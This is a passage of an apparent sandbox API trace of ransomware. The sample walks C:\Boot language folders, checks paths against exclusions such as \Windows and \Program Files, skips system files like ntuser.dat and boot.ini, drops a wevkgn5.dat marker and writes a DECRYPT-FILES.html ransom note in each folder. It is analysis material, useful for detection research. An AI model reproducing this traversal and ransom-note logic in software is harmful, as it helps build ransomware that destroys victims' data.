lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.684] CloseHandle (hObject=0x0) returned 0 [0058.684] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.685] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c44750, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c44750, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.685] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.685] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c1e5f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.685] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.685] lstrlenW (lpString="C:\\Boot\\pl-PL\\") returned 14 [0058.685] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.685] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\pl-PL\\" | out: lpString1="C:\\Boot\\pl-PL\\") returned="C:\\Boot\\pl-PL\\" [0058.685] lstrcatW (in: lpString1="C:\\Boot\\pl-PL\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\pl-PL\\wevkgn5.dat") returned="C:\\Boot\\pl-PL\\wevkgn5.dat" [0058.685] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.685] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\wevkgn5.dat" (normalized: "c:\\boot\\pl-pl\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.686] CloseHandle (hObject=0x0) returned 0 [0058.686] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.686] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c1e5f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c1e5f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c1e5f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.686] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.686] CloseHandle (hObject=0x300) returned 1 [0058.686] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0058.686] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0058.686] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0058.686] lstrcatW (in: lpString1="pt-BR", lpString2="\\" | out: lpString1="pt-BR\\") returned="pt-BR\\" [0058.686] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0058.686] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch=":\\Windows") returned 0x0 [0058.686] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\Program Files") returned 0x0 [0058.686] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\Games\\") returned 0x0 [0058.687] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.687] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.687] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.687] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.687] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.687] StrStrW (lpFirst="C:\\Boot\\pt-BR\\", lpSrch="\\All Users") returned 0x0 [0058.687] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0058.687] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.687] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-BR\\\\wevkgn5.dat") returned 26 [0058.687] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\\\wevkgn5.dat" (normalized: "c:\\boot\\pt-br\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.687] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0058.687] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.687] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-BR\\\\DECRYPT-FILES.html") returned 33 [0058.687] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\pt-br\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.688] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.689] CloseHandle (hObject=0x304) returned 1 [0058.689] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0058.689] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-BR\\*") returned="C:\\Boot\\pt-BR\\*" [0058.689] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.689] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.689] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.689] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.689] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.689] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.689] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.689] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.689] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.689] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.689] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.689] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.690] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.690] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.690] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.690] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.690] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0058.690] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.690] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\pt-BR\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0058.690] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="C:\\Boot\\pt-BR\\bootmgr.exe.mui" [0058.690] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.690] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.690] CloseHandle (hObject=0x0) returned 0 [0058.690] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.690] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c6a8b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.691] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.691] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c6a8b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.691] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.691] lstrlenW (lpString="C:\\Boot\\pt-BR\\") returned 14 [0058.691] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.691] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\pt-BR\\" | out: lpString1="C:\\Boot\\pt-BR\\") returned="C:\\Boot\\pt-BR\\" [0058.691] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\pt-BR\\wevkgn5.dat") returned="C:\\Boot\\pt-BR\\wevkgn5.dat" [0058.691] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.691] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\wevkgn5.dat" (normalized: "c:\\boot\\pt-br\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.691] CloseHandle (hObject=0x0) returned 0 [0058.692] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.692] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c6a8b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.692] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.692] CloseHandle (hObject=0x300) returned 1 [0058.692] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0058.692] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0058.692] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0058.692] lstrcatW (in: lpString1="pt-PT", lpString2="\\" | out: lpString1="pt-PT\\") returned="pt-PT\\" [0058.692] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch=":\\Windows") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\Program Files") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\Games\\") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.692] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.693] StrStrW (lpFirst="C:\\Boot\\pt-PT\\", lpSrch="\\All Users") returned 0x0 [0058.693] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0058.693] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.693] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-PT\\\\wevkgn5.dat") returned 26 [0058.693] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\\\wevkgn5.dat" (normalized: "c:\\boot\\pt-pt\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.693] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0058.693] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.693] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-PT\\\\DECRYPT-FILES.html") returned 33 [0058.693] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\pt-pt\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.693] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.694] CloseHandle (hObject=0x304) returned 1 [0058.695] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0058.695] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0058.695] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.695] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.695] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.695] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.695] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.695] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.695] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.695] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0058.695] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.695] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\pt-PT\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0058.696] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0058.696] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.696] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.697] CloseHandle (hObject=0x0) returned 0 [0058.697] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.697] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c6a8b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.697] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.697] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c6a8b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.697] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.697] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0058.697] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.697] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\pt-PT\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0058.697] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\pt-PT\\wevkgn5.dat") returned="C:\\Boot\\pt-PT\\wevkgn5.dat" [0058.698] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.698] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\wevkgn5.dat" (normalized: "c:\\boot\\pt-pt\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.698] CloseHandle (hObject=0x0) returned 0 [0058.698] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.699] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c6a8b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c6a8b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c6a8b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.699] FindClose (in: 